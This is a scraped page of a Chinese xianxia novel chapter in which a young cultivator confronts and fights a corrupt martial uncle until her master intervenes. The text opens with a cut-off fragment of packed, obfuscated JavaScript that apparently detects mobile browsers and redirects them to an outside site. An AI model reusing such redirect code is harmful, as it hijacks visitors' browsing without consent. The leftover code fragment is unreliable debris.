l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684310|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背的伤口还在渗血,淡淡的血腥味萦绕在颜朝阙的鼻尖。 将她心中的怒意勾得翻涌不息。 “若我晚到一步,恐怕就错过了师叔方才欺辱杀害同门的‘英武’之姿了。” 颜朝阙目光锐利如隼,锐利得让人不敢直视。 “师侄这是哪里的话,今日我怀疑我的这些徒儿通魔,才来此确认。”杜老风胡乱编了个借口,指着归云道,“她为了自证清白,自己跳了下去。” “可不是我推的。” 颜朝阙嗤笑一声,“是吗?” 杜老风连连点头道:“自然,自然。兴许是误会一场,人没事就好。” “你放□,你明明就是想要欺负我们,满足自己的变态私欲!”青芙才不惯着他,高声嚷起来,直接戳破他的伪装。 杜老风低吼一声:“你闭嘴,该死的丫头!” 颜朝阙安抚地望了青芙一眼,站起身,大拇指摩挲着腰间的匕首柄。 她不疾不徐地开口,说出的话却惊世骇俗。 “师叔,我一直觉得,该死的人——是你。” 话音刚落,坞石匕铮然出鞘,杜老风顿时感受到了浓烈的杀意。 他对上颜朝阙的目光,危险的知觉让他头皮发麻。 明明只是一个小姑娘,可他却觉得自己仿佛被世上最为凶猛的野兽盯上。 “颜师侄,你、你莫要胡来。”他吓得一激灵,不自觉地往后退了两步。 “我可是有元婴后期修为,对,对,我修为可比你高多了。” 颜朝阙将顾奕的剑扔在了地上,转了转手上的匕首,漫不经心地笑了笑。 “那我更要向师叔讨教一番了。” 她歪了歪头,下一息就瞬移到了杜老风的身前。 没有人看清她到底是怎么做到如此之快的! 就差一点,她就能把刀刃架在杜老风的脖子上。 一把青色的剑忽而窜出,挡在了杜老风的面前,与匕首相撞,发出“砰”的声响。 这是师祖的本命剑,已生剑灵,师祖雷劫身亡后认了有师祖血脉的杜青风为主。 这一下,是它主动护主。 “滚开。”颜朝阙不耐道。 剑灵执拗不退。 “颜朝阙,你当真要杀我?!”杜老风跑出几步,大叫道,“你是不是疯了!” 他从来都是躲在秦之游的身后,哪里真的与人堂堂正正地战过一场。 纵使有元婴修为,心境也远未及此,缩着脖子看起来无比怯懦。 而颜朝阙,修为只是她实力中最微不足道的部分。那浑身的本领,是在仙界实打实战斗出来的。 她轻呵一声,匕首明光乍亮,剑灵被狠狠震了一下。 颜朝阙一脚将这辨不清是非的剑踢开。 “你做了这么多亏心事,早就该死了。”她对杜老风朗声道。 杜老风心中猛地一颤,他咬了咬牙,既然颜朝阙如此对他,也就休怪他不客气了。 今日他杀了她,整个昆墟派上下就不会知道曾经有一个天才少女。 自然也不会怪他。 他下定决心,从乾坤袋中掏出一口金钵,将它扔到了颜朝阙的头上。 “是吞天钵!”青芙认了出来,声音都有些发颤。 极品灵器,可以一瞬铸成九星冥王阵,将阵内所有生命都绞杀殆尽。 归云爬起身,想要把颜朝阙拉出阵法,却一下子被弹了出去。 颜朝阙感受到无数只无形的手挤压着自己,仿佛要将那五脏六腑碾为齑粉。 她单膝落地,用匕首撑住身体。 阵法之内,她隐隐听到杜老风张狂的笑声。 或许,她该动用妖力,将这一切撕个粉碎,颜朝阙心想。 可还没等她付诸行动,阵法忽而被人从外破开。 冰蓝色的剑气蓦地击上金钵,法器轰然落地,那毁天灭地的力量将山石砸出了一个大坑。 “我的徒弟,谁敢动她。” 颜朝阙听到那淡漠如水的熟悉嗓音。 她抬头,眼前白色衣袂随风飞舞。